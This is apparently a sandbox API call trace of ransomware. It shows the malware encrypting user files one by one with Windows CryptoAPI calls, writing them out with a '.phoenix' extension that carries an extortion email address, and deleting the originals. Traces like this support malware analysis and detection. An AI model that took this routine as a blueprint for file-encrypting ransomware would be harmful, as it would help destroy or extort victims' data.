	[0266.014] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\powershell.exe.log.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.016] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151180) returned 1
	[0266.016] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.016] ReadFile (in: hFile=0x304, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xdad, lpOverlapped=0x0) returned 1
	[0266.042] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xdb0, dwBufLen=0xdb0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xdb0) returned 1
	[0266.042] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xdb0, lpOverlapped=0x0) returned 1
	[0266.043] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151600) returned 1
	[0266.043] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.043] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0266.043] CryptDestroyKey (hKey=0x151600) returned 1
	[0266.043] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0266.043] CryptDestroyKey (hKey=0x151180) returned 1
	[0266.043] CloseHandle (hObject=0x304) returned 1
	[0266.043] CloseHandle (hObject=0x2c0) returned 1
	[0266.043] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\powershell.exe.log")) returned 1
	[0266.044] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.044] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\GameDVR\\KnownGameList.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\gamedvr\\knowngamelist.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.045] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=338048) returned 1
	[0266.045] CloseHandle (hObject=0x2c0) returned 1
	[0266.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\GameDVR\\KnownGameList.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\gamedvr\\knowngamelist.bin")) returned 0x20
	[0266.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\GameDVR\\KnownGameList.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\gamedvr\\knowngamelist.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.045] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\GameDVR\\KnownGameList.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\gamedvr\\knowngamelist.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0266.045] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.045] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGGXW3P8.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblgggxw3p8.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.047] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=461) returned 1
	[0266.047] CloseHandle (hObject=0x2c0) returned 1
	[0266.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGGXW3P8.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblgggxw3p8.dat")) returned 0x20
	[0266.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGGXW3P8.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblgggxw3p8.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.047] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGGXW3P8.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblgggxw3p8.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.047] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.047] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.047] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGGXW3P8.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblgggxw3p8.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0266.048] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151500) returned 1
	[0266.048] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.048] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1cd, lpOverlapped=0x0) returned 1
	[0266.049] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0) returned 1
	[0266.049] WriteFile (in: hFile=0x304, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.050] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151600) returned 1
	[0266.050] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.050] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0266.050] CryptDestroyKey (hKey=0x151600) returned 1
	[0266.050] WriteFile (in: hFile=0x304, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0266.059] CryptDestroyKey (hKey=0x151500) returned 1
	[0266.059] CloseHandle (hObject=0x2c0) returned 1
	[0266.060] CloseHandle (hObject=0x304) returned 1
	[0266.060] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGGXW3P8.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblgggxw3p8.dat")) returned 1
	[0266.060] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.061] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH10PG8.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh10pg8.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0266.061] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=450) returned 1
	[0266.061] CloseHandle (hObject=0x304) returned 1
	[0266.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH10PG8.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh10pg8.dat")) returned 0x20
	[0266.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH10PG8.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh10pg8.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.062] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH10PG8.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh10pg8.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0266.062] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.062] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.062] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH10PG8.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh10pg8.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.062] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1517c0) returned 1
	[0266.062] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.062] ReadFile (in: hFile=0x304, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1c2, lpOverlapped=0x0) returned 1
	[0266.064] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0) returned 1
	[0266.064] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.064] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151600) returned 1
	[0266.064] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.064] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0266.064] CryptDestroyKey (hKey=0x151600) returned 1
	[0266.064] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0266.067] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0266.067] CloseHandle (hObject=0x304) returned 1
	[0266.067] CloseHandle (hObject=0x2c0) returned 1
	[0266.067] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH10PG8.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh10pg8.dat")) returned 1
	[0266.068] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.068] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH42THS.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh42ths.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.072] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=461) returned 1
	[0266.072] CloseHandle (hObject=0x2c0) returned 1
	[0266.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH42THS.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh42ths.dat")) returned 0x20
	[0266.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH42THS.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh42ths.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.073] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH42THS.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh42ths.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.073] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.073] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.073] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH42THS.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh42ths.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0266.073] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1512c0) returned 1
	[0266.073] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.073] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1cd, lpOverlapped=0x0) returned 1
	[0266.074] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0) returned 1
	[0266.074] WriteFile (in: hFile=0x304, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.075] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151180) returned 1
	[0266.075] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.075] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0266.075] CryptDestroyKey (hKey=0x151180) returned 1
	[0266.075] WriteFile (in: hFile=0x304, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0266.124] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0266.124] CloseHandle (hObject=0x2c0) returned 1
	[0266.124] CloseHandle (hObject=0x304) returned 1
	[0266.124] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH42THS.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh42ths.dat")) returned 1
	[0266.125] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.125] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4QGHW.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4qghw.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0266.126] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=464) returned 1
	[0266.126] CloseHandle (hObject=0x304) returned 1
	[0266.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4QGHW.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4qghw.dat")) returned 0x20
	[0266.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4QGHW.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4qghw.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.126] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4QGHW.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4qghw.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0266.126] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.126] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.126] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4QGHW.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4qghw.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0266.129] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151500) returned 1
	[0266.129] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.129] ReadFile (in: hFile=0x304, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.129] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1e0) returned 1
	[0266.129] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1e0, lpOverlapped=0x0) returned 1
	[0266.130] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1512c0) returned 1
	[0266.130] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.130] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0266.130] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0266.130] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0266.131] CryptDestroyKey (hKey=0x151500) returned 1
	[0266.131] CloseHandle (hObject=0x304) returned 1
	[0266.131] CloseHandle (hObject=0x2c0) returned 1
	[0266.131] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4QGHW.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4qghw.dat")) returned 1
	[0266.132] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.132] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4R32N.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4r32n.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.136] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=462) returned 1
	[0266.136] CloseHandle (hObject=0x2e8) returned 1
	[0266.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4R32N.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4r32n.dat")) returned 0x20
